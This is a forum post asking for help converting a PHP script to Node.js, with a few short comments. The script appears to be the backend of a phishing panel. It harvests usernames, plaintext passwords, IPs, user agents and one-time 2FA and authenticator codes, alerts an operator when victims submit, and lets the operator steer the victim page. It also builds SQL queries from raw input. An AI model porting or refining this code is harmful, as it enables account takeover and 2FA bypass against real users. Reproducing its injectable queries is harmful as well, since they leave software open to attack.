Hello
I want to convert this code from php to nodejs
<?php include 'config.php'; include 'connect.php'; session_start(); function numeric($num){ if (preg_match('/^[0-9]+$/', $num)) { $status = true; } else { $status = false; } return $status; } ////////////////////////////////////// RESET THE BUZZ ON EACH SUBMITTED THING if($_GET['type'] == 'login'){ if($_POST['username'] and $_POST['password'] and $_POST['ip'] and $_POST['ua']){ $username = $_POST['username']; $password = $_POST['password']; $ip = $_POST['ip']; $ua = urlencode($_POST['ua']); $uniqueid = time(); if($_SESSION['started'] == 'true'){ $uniqueid = $_SESSION['uniqueid']; $query = mysqli_query($conn, "UPDATE customers SET status=1, buzzed=0, user='$username', pass='$password', useragent='$ua', ip='$ip' WHERE uniqueid=$uniqueid"); if($query){ echo json_encode(array( 'status' => 'ok' )); }else{ echo json_encode(array( 'status' => 'notok' )); } }else{ $_SESSION['uniqueid'] = $uniqueid; $_SESSION['started'] = 'true'; $query = mysqli_query($conn, "INSERT INTO customers (user, pass , ip, useragent,uniqueid, status) VALUES ('$username', '$password', '$ip', '$ua',$uniqueid, 1)"); if($query){ echo json_encode(array( 'status' => 'ok' )); }else{ echo json_encode(array( 'status' => 'notok' )); } } } } if($_SESSION['admin_logged'] == 'true'){ if($_GET['type'] == 'commmand'){ if($_POST['userid'] and numeric($_POST['userid']) == true and $_POST['status'] and numeric($_POST['status']) == true or $_POST['code'] or $_POST['gauth']){ $userid = $_POST['userid']; // the normal id not unique one $status = $_POST['status']; $code = $_POST['code']; $gauth = $_POST['gauth']; if($code != null and $code != '' and ($gauth == null or $gauth == '')){ $query = mysqli_query($conn, "UPDATE customers SET status=$status, 2fa='$code' WHERE id=$userid"); }elseif($gauth != null and $gauth != '' and ($code == null or $code == '')){ $query = mysqli_query($conn, "UPDATE customers SET status=$status, gauth='$gauth' WHERE id=$userid"); }else{ $query = mysqli_query($conn, "UPDATE customers SET status=$status WHERE id=$userid"); } if($query){ echo json_encode(array( 'status' => 'ok' )); }else{ echo json_encode(array( 'status' => 'notok' )); } }else{ echo json_encode(array( 'status' => 'notokk' )); } } if(isset($_GET['get_submitted'])){ $query = mysqli_query($conn, "SELECT * FROM customers WHERE (status=1 and buzzed=0) or (buzzed=0 and status=13)"); if($query){ $num = mysqli_num_rows($query); $array = mysqli_fetch_array($query,MYSQLI_ASSOC); if($num >= 1){ echo json_encode(array( 'status' => 'ok' )); }else{ echo json_encode(array( 'status' => 'notok' )); } }else{ echo json_encode(array( 'status' => 'notok' )); } } if(isset($_GET['buzzoff'])){ $query = mysqli_query($conn, "SELECT * FROM customers WHERE status=1 OR status=13"); if($query){ $array = array_filter(mysqli_fetch_all($query,MYSQLI_ASSOC)); foreach($array as $value){ $userid = $value['id']; $queryy = mysqli_query($conn, "UPDATE customers SET buzzed=1 WHERE id=$userid"); if($queryy){ $stat = 'ok'; }else{ $stat = 'notok'; } } if($stat == 'ok'){ echo json_encode(array( 'status' => 'ok' )); }else{ // echo json_encode(array( 'status' => 'notok' )); } }else{ echo json_encode(array( 'status' => 'notok' )); } } if($_GET['type'] == 'delete'){ if($_POST['userid'] and numeric($_POST['userid']) == true){ $userid = $_POST['userid']; // the normal id not unique one $query = mysqli_query($conn, "DELETE FROM customers WHERE id=$userid"); if($query){ echo json_encode(array( 'status' => 'ok' )); }else{ echo json_encode(array( 'status' => 'notok' )); } }else{ echo json_encode(array( 'status' => 'notokk' )); } } if($_GET['type'] == 'submitted'){ if($_POST['userid'] and numeric($_POST['userid']) == true){ $userid = $_POST['userid']; // the normal id not unique one $status = str_replace("_$userid","",$_POST['status']); if($status == 'accept'){ $status = 11; }elseif($status == 'reject'){ $status = 12; }else{ echo json_encode(array( 'status' => 'notok' )); } $query = mysqli_query($conn, "UPDATE customers SET status=$status WHERE id=$userid"); if($query){ echo json_encode(array( 'status' => 'ok' )); }else{ echo json_encode(array( 'status' => 'notok' )); } }else{ echo json_encode(array( 'status' => 'notokk' )); } } } if($_SESSION['started'] == 'true'){ if($_GET['wait'] and numeric($_GET['wait']) == true){ $id = $_GET['wait']; $query = mysqli_query($conn, "UPDATE customers SET status=0 WHERE uniqueid=$id"); if($query){ echo json_encode(array( 'status' => 'ok' )); }else{ echo json_encode(array( 'status' => 'notok' )); } } if($_GET['getstatus'] and numeric($_GET['getstatus']) == true){ $id = $_GET['getstatus']; $query = mysqli_query($conn, "SELECT * from customers WHERE uniqueid='$id'"); if(mysqli_num_rows($query) >= 1){ $array = mysqli_fetch_array($query,MYSQLI_ASSOC); echo $array['status']; } } if($_GET['type'] == '2fa'){ if($_POST['code'] and $_POST['userid'] and numeric($_POST['userid']) == true){ $code = $_POST['code']; $uniqueid = $_POST['userid']; // unique userid $query = mysqli_query($conn, "UPDATE customers SET 2fa='$code',status=1, buzzed=0 WHERE uniqueid=$uniqueid"); if($query){ echo json_encode(array( 'status' => 'ok' )); }else{ echo json_encode(array( 'status' => 'notok' )); } } } if($_GET['type'] == 'gauth'){ if($_POST['gauth'] and $_POST['userid'] and numeric($_POST['userid']) == true){ $gauth = $_POST['gauth']; $uniqueid = $_POST['userid']; $query = mysqli_query($conn, "UPDATE customers SET gauth='$gauth',status=1, buzzed=0 WHERE uniqueid=$uniqueid"); if($query){ echo json_encode(array( 'status' => 'ok' )); }else{ echo json_encode(array( 'status' => 'notok' )); } } } if($_GET['type'] == 'url'){ if($_POST['url'] and $_POST['userid'] and numeric($_POST['userid']) == true){ $url = $_POST['url']; $uniqueid = $_POST['userid']; $query = mysqli_query($conn, "UPDATE customers SET status=1, buzzed=0, url='$url' WHERE uniqueid=$uniqueid"); if($query){ echo json_encode(array( 'status' => 'ok' )); }else{ echo json_encode(array( 'status' => 'notok' )); } } } }
Top comments (3)
I want to say: learn Node and especially the framework Express. Because this code is really rudimentary and probably have many security flaws. It requires much work to convert this to a good and clean code.
I really want it
can you help me ?
Like I said, it would take several hours to do it so it's impossible for me. Maybe someone else will have the time to help you 😉